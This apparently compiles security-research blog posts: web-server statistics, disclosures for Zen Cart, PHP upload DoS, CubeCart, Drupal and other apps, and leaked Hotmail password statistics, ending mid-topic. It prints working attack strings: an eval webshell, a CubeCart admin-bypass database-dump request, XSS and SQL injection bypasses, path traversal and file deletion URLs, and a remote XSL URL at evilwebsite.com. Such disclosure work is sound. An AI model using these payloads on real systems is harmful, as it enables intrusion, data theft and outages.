Moving on to Microsoft web servers, Microsoft IIS version 6 is the most commonly used. This is the version which is shipped with Windows Server 2003. IIS Version 7 (the one shipped with Windows Server 2008 / or later) is starting to gain popularity as well, but pretty slowly.  Strangely enough, it seems there are still websites running on Microsoft-IIS version 4 (or are these fake Server headers? I remember that mod_security was configured at some point with SecServerSignature “Microsoft-IIS/4.0″).

Unix vs Windows

The next table shows Unix vs Windows distribution. To determine the number of Windows running computers, I’ve added the number of IIS web servers with the ones that return Win32 or Windows in the Server header.  For Unix it was more complicated, I had to add the servers returning ‘Unix’ with all the other Unix flavors like FreeBSD, Mac OS X/Darwin and with all the other popular Linux distributions. I’ve ended up with a SQL query like this:

SELECT COUNT(value) cnt

FROM headers

WHERE name=’server’ and

(

value like ‘%Unix%’

or value like ‘%Red Hat%’

or value like ‘%CentOS%’

or value like ‘%OVH%’

or value like ‘%Fedora%’

or value like ‘%SUSE%’

or value like ‘%Debian%’

or value like ‘%Turbolinux%’

or value like ‘%Ubuntu%’

or value like ‘%Mandriva%’

or value like ‘%Trustix%’

or value like ‘%Gentoo%’

or value like ‘%Slackware%’

or value like ‘%Linux%’

or value like ‘%SunOS%’

or value like ‘%FreeBSD%’

or value like ‘%Darwin%’

or value like ‘%OpenBSD%’

or value like ‘%Mac OS X%’

or value like ‘%OS/2%’

)

Linux vs other operating systems

Again, this is pretty hard to determine, since many operating systems are returning ‘Unix’ or don’t return anything else in their Server header. However, based on what I can count, Linux is a clear winner. FreeBSD is not that popular anymore.  A few years ago it used to be very popular on high-traffic websites. Linux is in a better position nowadays, especially since the 2.6 branch started.

Next, I wanted to calculate which are the most popular Linux distributions.  CentOS, Debian and Red Hat are pretty close to each other, with CentOS the current winner. CentOS is derived from Red Hat sources. CentOS is completely run by volunteers and unfortunately, a few months ago they had some problems.  It seems that Lance Davis, holds sole control of the centos.org domain with no deputy. That’s pretty scary when CentOS is the most popular Linux distribution for web servers. Though since then, the problem was solved.

Another Wordle visualization for Linux distributions.

Web Technologies distributions

The next table is about web technologies distribution. PHP is the clear winner with ASP.NET following on a distant second place. Together PHP+ASP.NET are installed on the majority of the web servers which run the top 1M sites. This information was determined using the X-Powered-By header. Ruby on rails is gaining a lot of media attention nowadays, but in real life they only have around 0.48%.

PHP Version distribution

What versions of PHP are mostly used? PHP version 5.2 is taking the first place, followed by version 4.4. No surprises here.

ASP vs ASP.NET

This one is quite interesting. There are more ASP websites than ASP.NET websites, and by far. This came as a big surprise to me. It seems that ASP.NET didn’t catch up that quickly as I, and many others were expecting.  ASP.NET is by far superior, both from the functionality and from a security point of view.  More people should make the switch. How was this information computed?  We’ve used the Set-Cookie header. ASP-NET is creating cookies named ASP.NET_SessionId= and ASP is creating cookies named ASPSESSIONID*.  I could be wrong about this.   If somebody has a better way to calculate ASP/ASP.NET distribution, please contact me.

Top 50 TLD (top-level domains)

The last statistic is about TLD (Top-level domain) distribution. .COM is the clear winner and it is not surprise to anybody. The surprise (at least for me) is that .de is on the third place, before .org. How come there are so many German websites on top 1Million?

I am planning of publishing other blog posts with more statistics from this database.  If you would like to see some particular statistics, or have some ideas, please post a comment.

In case you are not familiar with curl, below is a short abstract about curl taken from PHP’s manual:

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP’s ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

Usually, curl is used to connect and retrieve data from a remote URL using the http protocol. However, curl supports a bunch of protocols as you can see in the description above. One of these protocols is the file protocol. Using this protocol you can read local files by using an URL like file:///etc/passwd. Therefore, if the user can control the URL passed to curl_exec, in some cases (if the content is echoed back) it can read local files.

While testing this new AcuSensor check on different applications, I’ve found a real-life example of a vulnerable application.  I’m talking about Zen Cart.  Acunetix WVS issued the following alert:

From Wikipedia:

Zen Cart is an open source online store management system. It is PHP-based, using a MySQL database and HTML components. Support is provided for several languages and currencies, and it is freely available under the GNU General Public License.

Zen Cart contains a directory named extras where there are different test scripts. One of these scripts is curltest.php. This script is used for testing is the curl PHP library is installed and is working properly.

The source code of this script looks like this (only relevant pieces of code are shown):

As you can see above, the URL passed to the curl_setopt (CURLOPT_URL) function and later used by curl_exec comes from user input ($_GET['url']).

Also, the file contents (saved in the $result) are echoed back to the user. Therefore we cane read the contents of any file from the remote server.

As you can see in the screenshot above, it’s possible to read the contents of the /etc/passwd file.

However, the extras directory contains other test scripts. One of them, named ipn_test_return.php, is not properly written and will display an error message when called directly:

If you issue a request like http://bld02:80/zen-cart/extras/ipn_test_return.php
you will receive the following error message:

<br />
<b>Fatal error</b>: require() [<a href='function.require'>function.require</a>]: Failed opening required ‘includes/application_top.php’ (include_path=’.:/usr/share/php:/usr/share/pear’) in <b>/var/www/bld/bld02/zen-cart/extras/ipn_test_return.php</b> on line <b>14</b><br />

This error message reveals the local path, so now we know where the application is installed. This could be useful to read the contents of the configuration file (includes/configure.php). This file contains the database credentials. If the Zen Cart database is not stored on the local server, it’s possible to access the database remotely.

Also, even without the file:// protocol, it’s possible to access hosts behind the firewall by issuing requests like

http://bld02/zen-cart/extras/curltest.php?url=http://192.168.0.1 or

http://bld02/zen-cart/extras/curltest.php?url=http://192.168.1.1.

The vendor released a security alert after being notified by us. They advise users to completely remove the extras directory as it’s not required by Zen Cart and it was distributed only for troubleshooting.

The security alert can be found here.

PHP version 5.3.1 was just released. This release contains a patch for a denial of service condition we’ve reported on 27 th October 2009. The problem is related with PHP’s handling of RFC 1867 (Form-based File Upload in HTML).

When you send a POST request to a PHP script with the content-type of “multipart/form-data” and include a list of files in that request, PHP will create a temporary file for each file from the request. PHP will create those files regardless if the script can handle file uploading or not. After the script was executed, the temporary files will be deleted.

The problem is that you can include a very large number of files in the request. PHP will need to create those files before the script is executed and delete them afterwards.

The denial of service condition appears when you create a bunch of requests, each containing a large number (15000+) of files.

When you send these requests to the web server, the web server collapses and stops responding because it has to process (create & delete) an insane number of files in a very short period of time.

Any website that runs PHP and where file uploading is enabled (which is the default configuration) is vulnerable. You don’t need to have a file upload script.

PHP does include 2 configuration settings that are related to this situation: upload_max_filesize and post_max_size.
However, these are not enough to protect us against this denial of service attack.

Workarounds

Currently, I’m aware of three workarounds for this problem:

1. Disable file uploads

If you don’t need file uploading, you can disable this feature from php.ini

file_uploads = Off

2. Install PHP 5.3.1

If you cannot disable file uploading on your website, it’s recommended to install the latest version of PHP.

PHP 5.3.1 includes a patch for this problem:

- Added “max_file_uploads” INI directive, which can be set to limit the number of file uploads per-request to 20 by default, to prevent possible DOS via temporary file exhaustion.

3. Install Suhosin PHP extension

The Suhosin PHP extension has an option named “suhosin.upload.max_uploads”. This option defines the maximum number of files that may be uploaded with one request and by default is set to 25. Suhosin PHP extension should not be confused with the Suhosin Patch which does not protect against this attack.

Quote from the hardened-php website:

“Suhosin comes in two independent parts, that can be used separately or in combination.

The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.”

It’s recommended to apply one of the workarounds described above as soon as possible. Below are some conclusions I’ve gathered from testing this on different systems.

Conclusions and real life results

This attack can make the web server unresponsive in a short period of time (under 2 minutes) with a very small number of requests.

Also, this attack doesn’t leave any obvious tracks in the logs (only a bunch of POST requests) and can be executed through a proxy server.

Some operating systems will handle this condition very badly.

For example in one case (a FreeBSD 7.1), the network stack completely crashed and the server was unreachable from the local network. I had to manually restart it from the console.

On Linux (Ubuntu), the web server will not be reachable for hours after being attacked for 1-2 minutes.

Real life results:

1. PHP on Linux (Ubuntu 8.10)

PHP Version 5.2.6-2ubuntu4.3

Timeline:

14:50 – started the attack
14:51 : web server is no longer responsive.

load average: 102.02, 30.68, 10.68

14:52 :  web server is not responsive.

load average: 129.95, 49.29, 18.05

14:52 – attack is aborted
14:53 – web server is not responsive.

load average: 143.58, 67.90, 26.41

14:54 – web server is not responsive.

load average: 149.60, 89.58, 37.93

16:05 – web server is not responsive.

load average: 151.64, 120.91, 60.94

I wanted to check how many temporary files were created:

$ls -la /tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0

I’ve created a script to count the files:

$php count_files_from_dir.php /tmp/php*
2.419.649

So, one hour later, the web server is not responsive and there are 2.419.649 temporary files.
If you restart the web server, these files are not deleted.

2. PHP on FreeBSD 7.2

PHP Version 5.2.9

Timeline:
14:00 – attack is started.

14:01 – web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))

load average: 87:22, 22.61, 9.9

14:02 – attack is aborted.
14:06 – web server is no longer responsive.

load averages: 45.42, 42.35, 22.59

14:11 – web server is not responsive.

load averages: 26.77, 35.78, 23.49

The system is slowed down to a crawl.

Basically you cannot even write a command in a remote PUTTY session.

14:17 – web server is not responsive.

The console is continuously displaying kernel error messages like:

swap_pager_getswapspace(2): failed
swap_pager_getswapspace(16): failed
swap_pager_getswapspace(3): failed

…

pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes
pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes

…

14:23 – web server is responsive.

load averages:  0.79, 29.10, 37.13

I was trying to count the number of temporary files from the server:
$ls -la /var/tmp/php* | wc -l
-bash: /bin/ls: Argument list too long
0

$ls -la /var/tmp/php

Display all 117490 possibilities? (y or n)
So, there are 117490 temporary files left on the server.

One another FreeBSD 7.1 server I’ve had a very weird situation:

After one minute the network stack crashed and the server was unreachable from the local network. I had to manually restart the network interface from the console. The message log contains error messages like:

Oct 23 10:55:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Oct 23 10:56:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Oct 23 10:57:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Oct 23 10:58:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Oct 23 10:59:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Oct 23 11:00:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Oct 23 11:01:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Oct 23 11:02:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.

3. PHP on Windows: XAMPP

XAMPP for Windows setup filename:  xampp-win32-1.7.2.exe

PHP Version 5.3.0

Timeline:

12:30 – started the attack
12:30 + few seconds: CPU usage => 100%

In a few seconds, the web server is not responding anymore, 65535 temporary files are created and no more files could be created anymore.

On XAMPP for Windows, PHP is creating the temporary files in C:\xampp\tmp (if your XAMPP installation was in C:\xampp\)

The files are named phpXXXX.tmp (where X’s charset is ‘a’-'z’, ‘A’-'Z’, ’0′-’9′).
Example: php1A00.tmp

This 4 char random number is a limitation of PHP on Windows. PHP on Unix is using 6 chars for its temporary filenames so it doesn’t reach this condition.

12:31 – attack is aborted
12:39 – CPU usage is still 100%, web server is not responsive.
13:08 – CPU usage is still 100%, web server is responsive.
14:08 – CPU usage is 97%
14:34 – CPU usage is 97%

Two hours later the CPU usage didn’t get back to normal. However, the web server is responding. After I manually restart the Apache process, CPU usage gets back to normal.

However, those 65535 temporary files were not deleted.

4. PHP on OpenBSD 4.6

PHP Version 5.2.10

Timeline:

12:00 – started the attack
12:00 + few seconds: CPU usage => 100%
12:01 – attack is aborted
12:01 – web server is no longer responsive.

load averages: 120.42, 50.35, 20.59

12:04 – web server is no longer responsive.

load averages: 147.17, 80.74, 36.46

The system is slowed down to a crawl.

12:06 – web server is responsive.

load averages: 122.59, 96.03, 48.31

So, at this point the web server is working again but the system is still slowed down to a crawl.
But it can serve web pages.

12:07 – web server is responsive.

load averages: 63.67, 85.01, 47.26

12:10 – web server is responsive.

load averages:  6.56, 52.75, 40.03

12:12 – web server is responsive.

load averages:  0.55, 16.36, 26.50

The system is back to normal.
OpenBSD recovered very well from this attack, the effect only lasted for a few minutes.
Why is that? Because of the Suhosin PHP extension. OpenBSD has this extension enabled by default.

LFI2RCE

In some cases, this attack can be used to convert a local file inclusion exploit to remote code execution. Most operating systems don’t delete the temporary files created by this attack even after you restart the web server. Therefore, a large number of temporary files are left in the temporary directory (usually /tmp for Unix systems). You can try to guess the name of one of these filenames and include it.

For this to work, all the uploaded files should contain some PHP script like: <?php eval($_REQUEST[x]); ?>.
On Windows systems there are only 4 characters used for generating temporary files (phpXXXX.tmp). After the web server is responsive again, there are 65.535 temporary files in the temporary directory.Therefore, it’s possible to guess the name of one of those files and include it.

On Unix, 6 characters are used for the temporary filenames and therefore it’s almost impossible to guess the name of the temporary filesname. Or at least, it could take a very long time.

As a funny note, I managed to exploit this on a web server with 800.000 temporary files.  After randomly guessing for 5 minutes I managed to guess the name of one of the temp files and execute PHP code.

Proof of concept

I’m not going to publish the proof of concept Python script. If you have a valid reason why you would need the proof of concept, you can contact me at this email address (bogdan [at] acunetix.com).

Release Date: 2009/10/29
Author: Bogdan Calin (bogdan [at] acunetix [dot] com)
Severity: Critical
Vendor Status: Vendor has released an updated version

I. Background

From Wikipedia: CubeCart is a free-to-use eCommerce software solution, designed to allow individuals and businesses sell tangible and digital goods on line. CubeCart is not Open Source software, although full source code is available at no cost, and the custom licensing model allows for customisation of the code.
…
CubeCart has developed a large fanbase, due in part, to the relative ease of creating modifications and enhancements. In the September/October 2007 issue of Practical eCommerce magazine, CubeCart was placed at #1 in their list of ’100 Most Notable Shopping Carts’.

II. Description

While auditing the source code of CubeCart version v4.3.4, I’ve found a critical vulnerability in this application. Session managament for administrative users is flawed. It is easy to bypass it without providing any credentials. An attacker can later perform any actions the administrator can, such as dumping the database, install modules (PHP code execution) and so on.

CubeCart is using a MySQL table named CubeCart_admin_users for storing information about administrative users.

When an administrator logs in, the applications stores his session ID, browser (user agent) and IP address in the sessId, browser and sessIP fields.

When the adminstrator logs out, these values are cleared. So sessId and the others fields become empty (as in an empty string).

Let’s analyze the code:

In classes\session\cc_admin_session.php, on line 56 there is:

$query = sprintf(“SELECT * FROM “.$this->glob['dbprefix'].”CubeCart_admin_users WHERE sessId = %s”, $this->db->mySQLSafe($GLOBALS[CC_ADMIN_SESSION_NAME]));

This will select the fields for the administrative user corresponding to the session identified by sessID.

But when the administrative user is logged out, sessID is empty. So, we can bypass this check by using an empty sessID.

There are 2 more checks that need to be bypassed:

There is this piece of code:

if (strpos($_SERVER['HTTP_USER_AGENT'],’AOL’) == false && $ccAdminData[0]['sessIp'] !== $client_ip || $ccAdminData[0]['browser'] !== $_SERVER['HTTP_USER_AGENT']) {

$this->logout();

}

The HTTP_USER_AGENT check can be easily bypassed using an empty user agent.  How about the $client_ip check?  At first I was thinking that it’s not possible to bypass that.  Let’s look at the code:

Filename includes\functions.inc.php, line 36:

There are all these complex checks for validating $_SERVER['REMOTE_ADDR']. However, $_SERVER['REMOTE_ADDR'], which cannot be faked.  And then, on the second line there is:

if(isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])
&& !detectSSL()) return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];

This line will bypass all those complex checks. So, you just need to send an X_CLUSTER_CLIENT_IP header with an empty value.  This line of code (the one with X_CLUSTER_CLIENT_IP) looks like a hack to me.It was probably added later to fix some bug or add a new feature.

III. Proof of concept

The conclusion is that by entering empty sessId (ccAdmin cookie), user-agent and X_CLUSTER_CLIENT_IP header you can bypass the authentication and perform any actions an adminstrator can perform.

Here is a sample HTTP request that will dump the whole database in one request:

---------------------------------------------------------------------------------
POST /CubeCart-latest/admin.php?_g=maintenance/backup HTTP/1.1
Host: bld02
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCpv+NVAHAgHHdvdI
User-Agent:
X_CLUSTER_CLIENT_IP:
Cookie: ccAdmin=+
Accept: */*;q=0.5
Content-Length: 434

------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="structure"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="data"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="dbbackup"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="submit"

Download Now
------WebKitFormBoundaryCpv+NVAHAgHHdvdI--

---------------------------------------------------------------------------------

You can save it in a text file and use it with netcat (http://netcat.sourceforge.net/) like:

>nc bld02 80 < db_dump.txt | more

HTTP/1.1 200 OK
Date: Tue, 20 Oct 2009 09:01:58 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Pragma: private
Cache-control: private, must-revalidate
Content-Disposition: attachment; filename=cubecartlatest_20Oct09.sql
Content-length: 80864
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream

-- --------------------------------------------------------
-- CubeCart SQL Dump
-- version 4.3.4
-- http://www.cubecart.com
--
-- Host: localhost
-- Generation Time: Oct 20 2009, 12:01 PM
-- Server version: 5.0.67-0ubuntu6
-- PHP Version: 5.2.6-2ubuntu4.3
--
-- Database: `cubecartlatest`
-- --------------------------------------------------------

--
-- Table structure for table `CubeCart_Coupons`
--

...

CREATE TABLE `CubeCart_transactions` (
   `id` int(11) NOT NULL auto_increment,
   `gateway` varchar(255),
   `extra` varchar(255),
   `status` varchar(50),
   `customer_id` int(11),
   `order_id` varchar(255),
   `trans_id` varchar(50),
   `time` int(10),
   `amount` decimal(30,2),
   `remainder` decimal(30,2) DEFAULT '0.00' NOT NULL,
   `notes` text,
 PRIMARY KEY (`id`),
 KEY `customer_id` (`customer_id`)
) ENGINE MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COLLATE=utf8_unicode_ci ;

--
-- Dumping data for table `CubeCart_transactions`
--

An administrator can install CubeCart packages, and it’s trivial to create a dummy package with a shell inside and install it.  Therefore, PHP code execution is possible and quite trivial.

IV. Workaround

The vendor was notified about this vulnerability on 20 October 2009 and they’ve released a fix on 26 October 2009
The problem was fixed in CubeCart version 4.3.5, which is available here: http://forums.cubecart.com/index.php?showtopic=39691.

However, the post “CubeCart 4.3.5 Released, Maintenance Release”, doesn’t include any information about this critical vulnerability.

Whats new?

- URL’s Changed in WorldPay module to match “RBS Worldpay” branding
- PayPal 3D Secure Fix & Enhancements *
- Moneybookers Payment Notification Fix
- Database Class Optimization
- Misc bugs…

I find this behaviour completely unprofessional: a vendor should inform his customers when a serious vulnerability is fixed in their product, especially when the product is processing credit card data, like CubeCart does.

Update: CubeCart responded and informed their customers about this vulnerability. That’s great

An anonymous user posted usernames and passwords of over 10,000 Windows Live Hotmail accounts to a web site called PasteBin. PasteBin is currently down for maintenance but I managed to get a copy of the list, and quickly generated some statistics from these passwords.

My impression is that these passwords have been gathered using phishing kits.  Even more, the phishing kit used most probably was badly designed, since it was one that didn’t further authenticated the users to the Hotmail/Live website. I think it just returned an error message after grabbing the credentials.  I noticed this because some of the passwords are repeated once or twice (sometimes with different capitalization).  What most probably happened, is that the users didn’t understand what was happening, and they tried to enter the same password again and again, thinking the password was wrong.

Bellow are the statistics:

• The list initially contained 10,028 entries.
• After I’ve cleaned up the list, like removing entries without a password,  I had 9843 valid entries (passwords).
• There are 8931 (90%) unique passwords in the list.

• The longest password was 30 chars long: lafaroleratropezoooooooooooooo.
• The shortest password was 1 char long : )

Top 20 most common passwords:

1. 123456 - 64
2. 123456789 - 18
3. alejandra - 11
4. 111111 - 10
5. alberto - 9
6. tequiero - 9
7. alejandro - 9
8. 12345678 - 9
9. 1234567 - 8
10. estrella - 7
11. iloveyou  - 7
12. daniel  - 7
13. 000000  - 7
14. roberto  - 7
15. 654321  - 6
16. bonita  - 6
17. sebastian  - 6
18. beatriz  - 6
19. mariposa  - 5
20. america  - 5

Based on these passwords I think the phishing kit was targeted towards the Latino community.

Password length distribution:

• 1 chars – 2 – 0 %
• 2 chars – 4 – 0 %
• 3 chars – 4 – 0 %
• 4 chars – 31 – 0 %
• 5 chars – 49 – 1 %
• 6 chars – 1946 – 22 %
• 7 chars – 1254 – 14 %
• 8 chars – 1838 – 21 %
• 9 chars – 1091 – 12 %
• 10 chars – 772 – 9 %
• 11 chars – 527 – 6 %
• 12 chars – 431 – 5 %
• 13 chars – 290 – 3 %
• 14 chars – 219 – 2 %
• 15 chars – 157 – 2 %
• 16 chars – 190 – 2 %
• 17 chars – 56 – 1 %
• 18 chars – 17 – 0 %
• 19 chars – 7 – 0 %
• 20 chars – 14 – 0 %
• 21 chars – 10 – 0 %
• 22 chars – 8 – 0 %
• 23 chars – 3 – 0 %
• 24 chars – 3 – 0 %
• 25 chars – 3 – 0 %
• 26 chars – 0 – 0 %
• 27 chars – 3 – 0 %
• 28 chars – 0 – 0 %
• 29 chars – 1 – 0 %
• 30 chars – 1 – 0 %

As you can see from the list above, most of the passwords are between 6 and 9 characters long.  Average password length is 8 characters.

What kind of passwords were in the list? :

• 3,713 = 42 %; lower alpha passwords : passwords containing only characters from ‘a’ to ‘z’.
  Example : iloveyou
• 291 = 3 %; mixed case alpha passwords : passwords containing  characters from ‘a’ to ‘z’ and from ‘A’ to ‘Z’.
  Example: ILoveYou
• 1707 = 19 %; numeric passwords: passwords containing only numbers (’0′ to ’9′)
  Example: 123456
• 2655 = 30 %; mixed alpha and numeric passwords: passwords containing characters from ‘a’-'z’, ‘A’-'Z’ and ’0′-’9′.
  Example: Iloveyou12
• 565 = 6 %; mixed alpha + numeric + other characters.
  Example: 1Love You$%@

As we can see and conclude from the list above, a big majority of users still use very poor passwords: 42 % (lower alpha only) and 19 % (numeric only), while only 6 % from all the passwords had passwords which use a selection of alpha numeric and other characters.

In this paper, besides other things, they presented a very interesting way to bypass XSS filters using Unicode charcters.

XSS filters

Consider the following piece of code:

This code is using the utf8_decode function to decode the input to single-bytes characters. Later, it will check if the decoded input contains dangerous characters and reject the input if that’s the case. Using this function, utf8_decode is/(used to be) recommended to protect against obfuscated Unicode encoding.

Here is a quote from OWASP’s discussion  page about “Testing_for_Cross_site_scripting”;

“

The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:
…

utf8_decode() converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.
…

“

However, in this case, as Eduardo and David showed, utf8_decode is the problem and not the solution. You can bypass the filter with a query string like:

vuln.php?input=%F6%3Cimg+onmouseover=prompt(/xss/)//%F6%3E

I’ve edited the code to show the input before and after utf8_decode to understand what’s going on:

input (before utf8_decode): ö<img acu onmouseover=prompt(400854747531)//ö>

decoded input (after utf8_decode): ?g acu onmouseover=prompt(400854747531)//?

The initial string contained 2 filtered characters < (%3C) and > (%3E). However, because of the %F6 character, utf8_decode is replacing them (and two more characters) with a question sign. The filter is bypassed and the code is vulnerable to XSS (cross site scripting).

utf8_decode and addslashes

However, this problem is not only related with XSS filters.  A similar case will appear when using utf8_decode to convert escaped strings (e.g. addslashes()).

Some sample source code:

This code is using addslashes (which is not a proper way to protect against SQL injection but still people use it) together with utf8_decode.   If you try to insert a single quote, addslashes will protect against SQL injection:

index.php?username=%27&password=a

user: test\’

pass: a

SQL query: SELECT * FROM users WHERE uname = ‘test\” and pass = ‘a’

I’ve updated the code to show the inputs and the SQL query. However, this code can be exploited using a query string like:

index.php?username=test%FC%27%27+or+1=1+–+&password=a

This will generate the following output:

user: test?’ or 1=1 –

pass: a

SQL query: SELECT * FROM users WHERE uname = ‘test?’ or 1=1 — ‘ and pass = ‘a’

Again, utf8_decode replaced the characters after %FC with a question mark, making the code vulnerable to SQL injection. The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data.

While looking into this problem, I’ve found a very useful comment on the PHP page for the utf8_decode function:

Warning!
This function contains a possible security risk when you try to convert escaped strings (see addslashes() and related functions).
It reacts nasty on broken multibyte sequences. In UTF-8, follow-up bytes ALWAYS have the binary pattern 10xxxxxx, but this fact is not handled by utf8_decode in the way you would expect: If you pass a start byte (110xxxxx, 1110xxxx, 11110xxx – or even invalid sequences like 11111100), followed by one or more non-multibyte chars (0xxxxxxx), the start sequence “char” will be replaced by ‘?’ (0x3F) and up to three following chars will disappear even if they are single-byte-chars (0xxxxxxx). So if you escape a string with a typical escape char like backslash, you would expect that your escaping would always survive a call to utf8decode because the escape char is in the assumed safe ascii range 0-127, but that is NOT the case!
Try things like utf8_decode(“test: ü\\\”123456″) to check it out.
To avoid problems take care that string-escaping always is the last step of data manipulation when you depend on leak-proof escaping.

This comment explains very well what’s going on. We’ve also updated Acunetix WVS to test for this kind of vulnerabilities in the latest build (build 20090813).

As you can see from the screenshot above, the GET variable q was set to start/../../xxx\..\..\end and it got partially sanitized. It reached the include function as /themes/garland/page-start-..-..-xxx\..\..\end.tpl.php. All the slashes were replaced with “-”.

Even more, we cannot fully control the include path, the user input is automatically prefixed with ./themes/garland/page-.  So, this vulnerability doesn’t look exploitable, right? Actually this is exploitable on Microsoft Windows systems.

On Unix systems, something like “cat /var/www/some_invalid_filename/../../../../../etc/passwd” doesn’t work because some_invalid_filename is not a directory and give the error that  some_invalid_filename doesn’t exist. It will not work even if you have a valid file name.That’s the expected behavior in my opinion, however, in Microsoft Windows things are different.

Executing the command “type c:\windows\sssssssssssss\..\..\..\..\..\boot.ini” will return the contents of c:\boot.ini even if sssssssssssss is not a directory and it doesn’t even exists as a file name. Check the screenshot below.

The vulnerability is located in the file “includes\theme.inc” on line 1011. Vulnerable code:

PHP option magic_quotes_gpc is turned OFF in Drupal, so it’s possible to use %00 to terminate the string. Therefore, if you set q to something like q=\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 it is possible to include the contents of boot.ini on Windows systems, if the web server is installed on the C:  partition. Below are two more screenshots about the exploit.

Drupal versions 5.x and 6.x are vulnerable to this problem.

Drupal security team was notified about this vulnerability on 29 January 2009 and they’ve released a fix on 25 February 2009. The fix for Drupal version 5.x is available here. And for Drupal version 6.x can be found here.

I was very surprised when the scan finished as the application now looked like this:

Quite funny There are a number of differences between these two images. First, the top color was changed somehow during the scan (from blue to pink). Second, the blog post disappeared and third, error messages were displayed everywhere.

At first, I didn’t know how to figure out what’s going on, so I restored the application and scanned it again. After a few seconds since I started the scan, the application stopped working displaying some more error messages. A few minutes later, two more error messages appeared and in the end it looked like the second image again.

Then it clicked my mind that this application doesn’t use a database, but text files. Therefore, I should easily be able to understand what’s going on by comparing all the files from the application directory before and after the scan. So, I started Beyond Compare (great software BTW) and compared the two directories. Below are the comparison results.

I’ve configured Beyond Compare to display only mismatches, and a few files were reported. As you can see one of these files is settings.php. This is the configuration file for the application.

It seems that Acunetix WVS managed to somehow modify the settings.php file while scanning the application, which is pretty bad. The differences are shown below.

One can notice a lot of changes; almost all settings are blank now except $skin which somehow managed to get the value “pink” I also noticed that a few settings are also missing, such as $rss_title, $blog_offline and so on. So finally we figured out why the application stopped working. The settings.php file got corrupted during scanning.

Now let’s investigate the source code to better understand what’s going on.

But how would you know where in the code you should start looking to fix problem? It could be a very complicated task and it depends on how the code is written. At this point I got the idea that it would be cool to modify AcuSensor to report these kind of problems, i.e. when user input gets written to a file.

So, we modified AcuSensor and came up with an alert named File Tampering. The scanner detects when user input is written to a file on disk. This alert requires user confirmation. There may be a false positives in some cases (for example, when the application is creating a log/text file). It depends on the file that gets written and how/if the user input is sanitized before being written to the file.

We ran the scan again and AcuSensor reported 17 File Tampering alerts. The nice thing about these alerts is that you know exactly where the problem is in the code . Let’s have a look at one of these alerts.

The problem is in cp_settings.php file, at line 85. Let’s take a look at this piece of code to see what’s going on in there.

As you can see, input from the user is directly written to the settings.php file without any kind of sanitization. Apart from that, this file requires no authentication. Therefore anybody can call this file directly and adjust the configuration parameters as he likes.

This can be exploited very easily by issuing a HTTP request like the one in the screen shot below:

The above request closes the quotes and inserts our custom PHP code in settings.php. We use the __halt_compiler() PHP  function to make things easier. This code gets written to settings.php and you can call it directly by accessing http://bld02/lb/settings.php.

Another interesting vulnerability found by AcuSensor in this application is Arbitrary File Deletion. Basically, the user input is used in an unlink() call and an attacker can delete arbitrary files from the server. Check the screen shot below:

The file cp_memberedit.php, around line 25, contains the following lines of code:

Again, this php script requires no authentication, therefore anybody can delete files by providing a malicious $_GET parameter. For example, http://bld02:80/lb/cp_memberedit.php?delete=../readme.txt%00 will delete the file readme.txt from the application directory.  The scanner found more vulnerabilities in this application but I think it’s enough for today.

PHP supports XSL transformations using the XSLTProcessor class.
The code below loads the XML document collection.xml and transform it through an XSL file.
This code was taken from the PHP XSLTProcessor::transformToXML page and modified to include the vulnerability.

The vulnerability occurs when the XSL file is loaded from a source controlled by the attacker.
In this example, you can specify the XSL file as the GET parameter “xsl”.

You can include a remote XSL file by using an URL like
http://www.website.com/xsl/transform.php?xsl=http://evilwebsite.com/evil.xsl

What can be done with this vulnerability?

